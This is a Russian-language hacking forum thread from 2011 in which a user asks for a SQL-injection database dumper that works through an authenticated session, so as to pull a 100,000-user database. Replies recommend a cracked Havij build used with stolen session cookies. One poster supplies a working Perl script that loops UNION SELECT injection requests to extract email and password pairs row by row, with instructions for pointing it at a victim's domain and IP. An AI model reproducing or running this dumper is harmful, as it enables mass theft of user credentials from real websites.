посоветуйте mysql дампер с возможностью авторизации на сайте

durito · 26 Apr 2011

вообщем такая штука. стандартная скуль юзается только после прохождения авторизации юзера на сайте. база 100К юзеров, админки нет. единственный вариант тянуть базу через авторизованного юзера.

посмотрел на дамперы что есть у меня, все без авторизации. есть что-то уже готовое, чтобы с кодингом не заморачиваться?

mailbrush · 26 Apr 2011

Toolza от Пашкелы, Havij 1.14 Cracked
Подставляешь в эти программы свои куки, и вперед)

durito · 26 Apr 2011

mailbrush c Toolza от Пашкелы черта с два без поллитра не разберешься, а доходчивого мануала по ней я не нашел

Havij 1.14 Cracked при открытии load cookie все время выдает доступ к странице запрешен, какой бы урл не вводил

Stalkerhack · 26 Apr 2011

Держи, подойдет?
http://www.slaed.net/files-view-15-word-%E4%EE%EC%E5%ED.html

shellz[21h] · 27 Apr 2011

Stalkerhack, требуется через инъекцию дампер )
--
http://sqlsus.sourceforge.net/

Stalkerhack · 27 Apr 2011

Сори, тупанул.....через инъекцию? будет вам через инъекцию...xDDDDDDDDDDDDD

Данный скрипт не поддерживет поточности. т.к для того что бы использовать поточность в perl его нужно пересобирать вручную:

#!/usr/bin/perl
use IO::Socket;
require IO::Socket;

sub mas
{
$tem1 = $_[0];
$const_f = "GET PATH_TO_SCRIPT/?id=-37745+union+all+select+concat(char(60,45,45),email,0x3a,password,char(60,45,45))+from+db.table+limit+";
$const_l = ",1-- HTTP/1.0\r\nHost: domain.name\r\nUser-Agent: mozzila\r\n\r\n";
$ret_mas = $const_f . $tem1 . $const_l;
return $ret_mas;
}

sub myfunc
{
$temp = $_[0];
$data4 = $temp;
my $sock = IO::Socket::INET->new(PeerAddr => 'SERVER_IP',
PeerPort => 80,
Proto => 'tcp',
Timeout => 600 ) || die "fuck";
$sock->autoflush;
print $sock $data4;
@line = <$sock>;
close($sock);

foreach(@line)
{
$iline=$_;
chomp $iline;
if($iline=~m/<--(.*)<--/)
{
$writeme = $1;
break;
}
}

open(FFF,">> dataget.txt");
print (FFF $writeme);
print (FFF "\r\n");
close(FFF);

}

for($i=0;$i<=144460;$i++)
{
$fstring = mas($i);
myfunc($fstring);
}
Click to expand...

1) переменную $const_f модифицируем вписывая полный путь к скрипту передаваеммые параметры скрипту а так же «кусок» строчки sql injection.
2) $const_l вместо domain.name пишем имя доменного имени жертвы.
3) Вместо SERVER_IP вписываем айпи жертвы.
4) for($i=0;$i<=144460;$i++) изменяем под себя где вместо $i=0 вписываем с какой записи начинаем выводить переменная $i подставляется в limit. 144460 заменяем на количество строк в таблице.
В моем случае много поточность не понадобилась т.к как я запустил скрипт на нескольких машинах.
но в скором времени думаю что таки напишу с использованием потоков. Скрипт выкладываю в том виде в котором делал "для себя".
Click to expand...

durito · 27 Apr 2011

всем спасибо. проблема решена с помощью rsaUnDumper. спасибо автору за помощь.
надо было всего лишь добавить куки активной сессии. к сожалению не каждый mysql-дампер такое позволяет сделать.

понял что просче самому написать свой на php

посоветуйте mysql дампер с возможностью авторизации на сайте

durito Elder - Старейшина

mailbrush Well-Known Member

durito Elder - Старейшина

Stalkerhack New Member

shellz[21h] Elder - Старейшина

Stalkerhack New Member

durito Elder - Старейшина

Useful Searches

посоветуйте mysql дампер с возможностью авторизации на сайте

durito Elder - Старейшина

mailbrush Well-Known Member

durito Elder - Старейшина

Stalkerhack New Member

shellz[21h] Elder - Старейшина

Stalkerhack New Member

durito Elder - Старейшина